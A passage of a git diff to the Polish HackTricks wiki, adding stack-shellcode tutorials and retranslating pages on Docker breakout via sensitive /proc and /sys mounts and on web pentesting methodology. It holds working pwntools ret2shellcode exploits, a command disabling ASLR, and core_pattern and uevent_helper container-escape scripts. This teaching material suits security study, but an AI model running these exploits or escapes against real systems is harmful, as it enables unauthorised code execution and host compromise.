wywołaniem, obracając się z RBP. +* 64 bity, brak relro, canary, nx i pie. Program udostępnia wyciek dla stosu lub pie oraz WWW qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Nadużywając tego "wiecznego" zapisu, zostaje napisany łańcuch ROP w .bss i kończy się jego wywołaniem, obracając się z RBP. + +## ARM64 + +W ARM64, **prologi i epilogi** funkcji **nie przechowują i nie przywracają rejestru SP** na stosie. Dlatego domyślnie **nie będziesz mógł kontrolować rejestru SP** poprzez nadpisanie pewnych danych wewnątrz stosu. + + + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/binary-exploitation/stack-overflow/stack-shellcode/README.md b/binary-exploitation/stack-overflow/stack-shellcode/README.md new file mode 100644 index 000000000..e29a07bea --- /dev/null +++ b/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -0,0 +1,99 @@ +# Kod Shellcode na Stosie + +
+ +Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie. + +
+ +## Podstawowe Informacje + +**Kod shellcode na stosie** to technika używana w **eksploatacji binarnej**, gdzie atakujący zapisuje shellcode do stosu podatnego programu, a następnie modyfikuje **Wskaźnik Instrukcji (IP)** lub **Rozszerzony Wskaźnik Instrukcji (EIP)**, aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na systemie docelowym. Oto rozbudowany opis procesu, w tym prosty przykład w języku C i sposób napisania odpowiadającego exploitu przy użyciu Pythona z **pwntools**. + +### Przykład w języku C: Podatny Program + +Zacznijmy od prostego przykładu podatnego programu w języku C: +```c +#include +#include + +void vulnerable_function() { +char buffer[64]; +gets(buffer); // Unsafe function that does not check for buffer overflow +} + +int main() { +vulnerable_function(); +printf("Returned safely\n"); +return 0; +} +``` +Ten program jest podatny na przepełnienie bufora ze względu na użycie funkcji `gets()`. + +### Kompilacja + +Aby skompilować ten program, wyłączając różne zabezpieczenia (aby zasymulować środowisko podatne na ataki), można użyć poniższej komendy: +```sh +gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c +``` +* `-fno-stack-protector`: Wyłącza ochronę stosu. +* `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do wykonania shellcode przechowywanego na stosie. +* `-no-pie`: Wyłącza wykonywalne niezależne od pozycji, ułatwiając przewidywanie adresu pamięci, w którym znajdzie się nasz shellcode. +* `-m32`: Kompiluje program jako wykonywalny 32-bitowy, często używany ze względu na prostotę w tworzeniu exploitów. + +### Python Exploit z użyciem Pwntools + +Oto jak można napisać exploit w Pythonie, korzystając z **pwntools**, aby przeprowadzić atak **ret2shellcode**: +```python +from pwn import * + +# Set up the process and context +binary_path = './vulnerable' +p = process(binary_path) +context.binary = binary_path +context.arch = 'i386' # Specify the architecture + +# Generate the shellcode +shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell + +# Find the offset to EIP +offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash + +# Prepare the payload +# The NOP slide helps to ensure that the execution flow hits the shellcode. +nop_slide = asm('nop') * (offset - len(shellcode)) +payload = nop_slide + shellcode +payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP +payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide + +# Send the payload +p.sendline(payload) +p.interactive() +``` +Ten skrypt konstruuje ładunek składający się z **slajdu NOP**, **kodu powłoki**, a następnie nadpisuje **EIP** adresem wskazującym na slajd NOP, zapewniając wykonanie kodu powłoki. + +**Slajd NOP** (`asm('nop')`) jest używany do zwiększenia szansy, że wykonanie "poślizgnie się" do naszego kodu powłoki bez względu na dokładny adres. Dostosuj argument `p32()` do adresu początkowego bufora plus przesunięcia, aby trafić na slajd NOP. + +## Protections + +* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **powinien być wyłączony**, aby adres był niezawodny podczas kolejnych wykonan lub adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam, i będziesz potrzebować wycieku, aby dowiedzieć się, gdzie jest załadowana funkcja win. +* [**Canary na stosie**](../../common-binary-protections-and-bypasses/stack-canaries/) powinien być również wyłączony, w przeciwnym razie skompromitowany adres powrotu EIP nie zostanie nigdy wykonany. +* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) ochrona **stosu** uniemożliwi wykonanie kodu powłoki wewnątrz stosu, ponieważ ta strefa nie będzie wykonawcza. + +## Inne przykłady i odnośniki + +* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) +* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html) +* 64-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego +* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html) +* 32-bitowy, ASLR z wyciekiem adresu stosu, napisz kod powłoki i skocz do niego +* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html) +* 32-bitowy, ASLR z wyciekiem adresu stosu, porównanie w celu zapobieżenia wywołaniu exit(), nadpisanie zmiennej wartością, napisz kod powłoki i skocz do niego diff --git a/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md new file mode 100644 index 000000000..f2fba9910 --- /dev/null +++ b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -0,0 +1,85 @@ +# Kod Shellcode - arm64 + +
+ +Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! + +Inne sposoby wsparcia HackTricks: + +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! +* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +Znajdź wprowadzenie do arm64 w: + +{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} +[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md) +{% endcontent-ref %} + +## Kod +```c +#include +#include + +void vulnerable_function() { +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +} + +int main() { +vulnerable_function(); +return 0; +} +``` +Kompiluj bez pie, canary i nx: + +{% code overflow="wrap" %} +```bash +clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack +``` +## Brak ASLR & Brak canary - Przepełnienie stosu + +Aby zatrzymać ASLR wykonaj: +```bash +echo 0 | sudo tee /proc/sys/kernel/randomize_va_space +``` +Aby uzyskać **przesunięcie bof sprawdź ten link**. + +Wykorzystanie: +```python +from pwn import * + +# Load the binary +binary_name = './bof' +elf = context.binary = ELF(binary_name) + +# Generate shellcode +shellcode = asm(shellcraft.sh()) + +# Start the process +p = process(binary_name) + +# Offset to return address +offset = 72 + +# Address in the stack after the return address +ret_address = p64(0xfffffffff1a0) + +# Craft the payload +payload = b'A' * offset + ret_address + shellcode + +print("Payload length: "+ str(len(payload))) + +# Send the payload +p.send(payload) + +# Drop to an interactive session +p.interactive() +``` +Jedyną "skomplikowaną" rzeczą do znalezienia tutaj byłby adres na stosie do wywołania. W moim przypadku wygenerowałem exploit z adresem znalezionym za pomocą gdb, ale potem podczas jego wykorzystywania nie działał (ponieważ adres stosu trochę się zmienił). + +Otworzyłem wygenerowany plik **`core`** (`gdb ./bog ./core`) i sprawdziłem rzeczywisty adres początku shellcode'u. diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 02d654e32..dbaedb311 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,7 +2,7 @@
-Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)! +Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: @@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
-
+
{% embed url="https://websec.nl/" %} @@ -22,7 +22,7 @@ Ujawnienie `/proc` i `/sys` bez odpowiedniej izolacji przestrzeni nazw wprowadza **Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej luki w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** -## Zagrożenia związane z procfs +## Zagrożenia procfs ### `/proc/sys` @@ -31,29 +31,29 @@ Ten katalog umożliwia dostęp do modyfikacji zmiennych jądra, zazwyczaj za pom #### **`/proc/sys/kernel/core_pattern`** * Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html). -* Umożliwia zdefiniowanie programu do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`. +* Pozwala zdefiniować program do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`. * **Przykład testowania i eksploatacji**: ```bash [ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test dostępu do zapisu cd /proc/sys/kernel -echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługującego -sleep 5 && ./crash & # Wywołanie obsługującego +echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługiwacza +sleep 5 && ./crash & # Wywołanie obsługiwacza ``` #### **`/proc/sys/kernel/modprobe`** -* Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +* Szczegółowo opisany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). * Zawiera ścieżkę do ładowacza modułów jądra, wywoływanego do ładowania modułów jądra. * **Przykład sprawdzania dostępu**: ```bash -ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe +ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdzanie dostępu do modprobe ``` #### **`/proc/sys/vm/panic_on_oom`** -* Odwołanie w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +* Wzmiankowany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). * Globalna flaga kontrolująca, czy jądro ma panikować czy wywoływać zabójcę OOM, gdy wystąpi warunek OOM. #### **`/proc/sys/fs`** @@ -101,7 +101,7 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta * Interfejsuje z urządzeniem pamięci jądra `/dev/mem`. * Historycznie podatny na ataki eskalacji uprawnień. -* Więcej w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). +* Więcej na temat [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/kcore`** @@ -112,7 +112,7 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta #### **`/proc/kmem`** -* Alternatywny interfejs dla `/dev/kmem`, reprezentujący wirtualną pamięć jądra. +* Alternatywny interfejs dla `/dev/kmem`, reprezentujący pamięć wirtualną jądra. * Umożliwia odczytywanie i zapisywanie, co umożliwia bezpośrednią modyfikację pamięci jądra. #### **`/proc/mem`** @@ -123,14 +123,14 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta #### **`/proc/sched_debug`** * Zwraca informacje o harmonogramowaniu procesów, omijając zabezpieczenia przestrzeni nazw PID. -* Ujawnia nazwy procesów, identyfikatory PID i identyfikatory cgroup. +* Ujawnia nazwy procesów, identyfikatory PID i grupy cgroup. #### **`/proc/[pid]/mountinfo`** * Udostępnia informacje o punktach montowania w przestrzeni nazw montowania procesu. * Ujawnia lokalizację `rootfs` kontenera lub obrazu. -### Zagrożenia związane z `/sys` +### Zagrożenia sysfs #### **`/sys/kernel/uevent_helper`** @@ -138,23 +138,23 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta * Zapisywanie do `/sys/kernel/uevent_helper` może uruchamiać arbitralne skrypty po wyzwaleniu `uevent`. * **Przykład eksploatacji**: %%%bash -## Tworzy ładunek +### Tworzy ładunek echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper -## Znajduje ścieżkę hosta z montażu OverlayFS dla kontenera +### Znajduje ścieżkę hosta z montowania OverlayFS dla kontenera host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab) -## Ustawia uevent\_helper na złośliwego pomocnika +### Ustawia uevent\_helper na złośliwego pomocnika echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper -## Wywołuje uevent +### Wywołuje uevent echo change > /sys/class/mem/null/uevent -## Odczytuje wynik +### Odczytuje wynik cat /output %%% #### **`/sys/class/thermal`** @@ -163,7 +163,7 @@ cat /output %%% #### **`/sys/kernel/vmcoreinfo`** -* Ujawnia adresy jądra, potencjalnie kompromitując KASLR. +* Wycieka adresy jądra, potencjalnie kompromitując KASLR. #### **`/sys/kernel/security`** @@ -172,8 +172,8 @@ cat /output %%% #### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`** -* Ujawnia interfejsy do interakcji z zmiennymi EFI w NVRAM. -* Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożności uruchomienia hosta. +* Ujawnia interfejsy do interakcji z zmiennymi EFI w pamięci NVRAM. +* Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożliwości uruchomienia hosta. #### **`/sys/kernel/debug`** @@ -186,7 +186,7 @@ cat /output %%% * [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) * [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf) -
+
{% embed url="https://websec.nl/" %} @@ -199,7 +199,7 @@ Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) -* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md index 97655f525..b82d51176 100644 --- a/network-services-pentesting/pentesting-web/README.md +++ b/network-services-pentesting/pentesting-web/README.md @@ -2,12 +2,12 @@
-Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)! +Zacznij od zera i zostań ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! -* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) +* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie. @@ -16,13 +16,13 @@ Inne sposoby wsparcia HackTricks:
-Jeśli interesuje Cię **kariera w dziedzinie hakerstwa** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_). +Jeśli interesuje Cię **kariera hakerska** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego, zarówno pisemna, jak i mówiona_). {% embed url="https://www.stmcyber.com/careers" %} ## Podstawowe informacje -Usługa internetowa jest najbardziej **powszechną i rozległą usługą**, w której istnieje wiele **różnych rodzajów podatności**. +Usługa internetowa to najbardziej **powszechna i rozległa usługa**, w której istnieje wiele **różnych rodzajów podatności**. **Domyślny port:** 80 (HTTP), 443(HTTPS) ```bash @@ -51,13 +51,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 * [ ] Czy istnieje **specjalistyczne narzędzie skanujące** do uruchomienia (np. wpscan)? * [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiesz, czy znajdą coś ciekawego. * [ ] Rozpocznij od **początkowych sprawdzeń**: **robots.txt**, **mapa witryny (sitemap)**, błąd **404** i skan **SSL/TLS** (jeśli HTTPS). -* [ ] Rozpocznij **przeglądanie strony**: Czas znaleźć wszystkie możliwe **pliki, foldery** i **parametry** używane. Sprawdź również **specjalne znaleziska**. -* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub przeglądania odkryjesz nowy katalog, należy go przeszukać._ -* [ ] **Próba siłowego przeglądania katalogów**: Spróbuj siłowo przeszukać wszystkie odkryte foldery w poszukiwaniu nowych **plików** i **katalogów**. -* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub przeglądania odkryjesz nowy katalog, należy go siłowo przeszukać._ +* [ ] Rozpocznij **indeksowanie** strony internetowej: Czas **odnaleźć** wszystkie możliwe **pliki, foldery** i **parametry** używane. Sprawdź również **specjalne znaleziska**. +* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub indeksowania odkryjesz nowy katalog, powinieneś go zindeksować._ +* [ ] **Próba siłowa katalogów**: Spróbuj siłowo przejrzeć wszystkie odkryte foldery w poszukiwaniu nowych **plików** i **katalogów**. +* [ ] _Zauważ, że za każdym razem, gdy podczas prób siłowych lub indeksowania odkryjesz nowy katalog, powinieneś go siłowo przetestować._ * [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy można znaleźć **kopie zapasowe** odkrytych plików, dodając powszechne rozszerzenia kopii zapasowych. -* [ ] **Siłowe przeglądanie parametrów**: Spróbuj znaleźć **ukryte parametry**. -* [ ] Gdy zidentyfikujesz wszystkie możliwe **punkty końcowe** akceptujące **dane użytkownika**, sprawdź wszelkie rodzaje związanych z nimi **podatności**. +* [ ] **Siłowe testowanie parametrów**: Spróbuj **odnaleźć ukryte parametry**. +* [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **dane użytkownika**, sprawdź wszelkie rodzaje związanych z nimi **podatności**. * [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md) ## Wersja serwera (Podatny?) @@ -72,7 +72,7 @@ whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Szukaj **podatności aplikacji internetowej** **w wersji**. +Szukaj **podatności aplikacji internetowej** **w wersji**](../../generic-methodologies-and-resources/search-exploits.md) ### **Sprawdź, czy istnieje WAF** @@ -82,7 +82,7 @@ Szukaj **podatności aplikacji internetowej** **w wersji**. ### Triki technologii internetowych -Kilka **trików** do **znajdowania podatności** w różnych znanych **technologiach**: +Kilka **trików** do **znajdowania podatności** w różnych znanych **technologiach** używanych: * [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) * [**Apache**](apache.md) @@ -116,15 +116,15 @@ Kilka **trików** do **znajdowania podatności** w różnych znanych **technolog * [**Wordpress**](wordpress.md) * [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/) -_Miej na uwadze, że ta sama **domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\ -Jeśli aplikacja internetowa używa jakiejkolwiek znanej **technologii/platformy wymienionej wcześniej** lub **innej**, nie zapomnij **szukać w Internecie** nowych trików (i daj mi znać!). +_Miej na uwadze, że **ta sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\ +Jeśli aplikacja internetowa używa **jakiejkolwiek znanej technologii/platformy wymienionej wcześniej** lub **innej**, nie zapomnij **szukać w Internecie** nowych trików (i daj mi znać!). ### Przegląd kodu źródłowego Jeśli **kod źródłowy** aplikacji jest dostępny w **github**, oprócz przeprowadzenia **testu White box** aplikacji na własną rękę, istnieje **kilka informacji**, które mogą być **przydatne** do obecnego **testu Black-Box**: -* Czy istnieje **dziennik zmian lub plik Readme lub informacje o wersji** dostępne przez sieć? -* Jak i gdzie są przechowywane **dane uwierzytelniające**? Czy istnieje (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)? +* Czy istnieje **dziennik zmian lub plik Readme lub informacje o wersji dostępne** przez sieć? +* Jak i gdzie są zapisane **dane uwierzytelniające**? Czy istnieje (dostępny?) **plik** z danymi uwierzytelniającymi (nazwy użytkowników lub hasła)? * Czy **hasła** są w **czystym tekście**, **zaszyfrowane** lub jaki **algorytm haszowania** jest używany? * Czy jest używany **klucz główny** do szyfrowania czegoś? Jaki **algorytm** jest używany? * Czy możesz **uzyskać dostęp do któregokolwiek z tych plików** wykorzystując jakąś podatność? @@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi Jeśli jest używany CMS, nie zapomnij **uruchomić skanera**, być może znajdziesz coś interesującego: - [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\ -- [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** strony internetowe w poszukiwaniu problemów z bezpieczeństwem. (GUI)\ +- [**CMSScan**](https://github.com/ajinabraham/CMSScan): Strony [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** w poszukiwaniu problemów zabezpieczeń. (GUI)\ - [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\ - **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **lub** [**(M)oodle**](moodle.md)\ - [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -187,21 +187,21 @@ Serwery WWW mogą **zachowywać się niespodziewanie**, gdy do nich wysyłane s * Otwórz **fałszywe strony** takie jak /cokolwiek\_fake.php (.aspx,.html,.itp) * Dodaj "\[]", "]]" i "\[\[" w **wartościach ciasteczka** i **wartościach parametrów** aby wywołać błędy * Wygeneruj błąd, wpisując dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL** -* Spróbuj użyć **różnych czasowników HTTP** jak PATCH, DEBUG lub błędny jak FAKE +* Spróbuj użyć **różnych czasowników HTTP** takich jak PATCH, DEBUG lub błędny, np. FAKE #### **Sprawdź, czy możesz przesyłać pliki (**[**metoda PUT, WebDav**](put-method-webdav.md)**)** -Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **przesyłania plików** w głównym folderze, spróbuj: +Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **przesyłania plików** w folderze głównym, spróbuj: -* **Próbuj siłowo** dane uwierzytelniające +* **Próbuj siłowo** hasła * **Prześlij pliki** za pomocą WebDav do **pozostałych znalezionych folderów** na stronie internetowej. Możesz mieć uprawnienia do przesyłania plików do innych folderów. -### **Luki w SSL/TLS** +### **Układy SSL/TLS** -* Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na atak typu MitM** -* Jeśli aplikacja **wysyła poufne dane (hasła) za pomocą protokołu HTTP**. To jest wysokie ryzyko. +* Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **podatna na ataki typu MitM** +* Jeśli aplikacja **wysyła poufne dane (hasła) za pomocą HTTP**. To jest to wysokie ryzyko. -Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **luk w zabezpieczeniach** (W programach Bug Bounty tego rodzaju luki prawdopodobnie nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) do ponownego sprawdzenia luk w zabezpieczeniach: +Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzania **luk w zabezpieczeniach** (W programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) do ponownego sprawdzenia podatności: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -215,44 +215,44 @@ Informacje o podatnościach SSL/TLS: * [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) * [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) -### Spidering +### Przeglądanie stron -Uruchom pewnego rodzaju **pająka** w sieci. Celem pająka jest **znalezienie 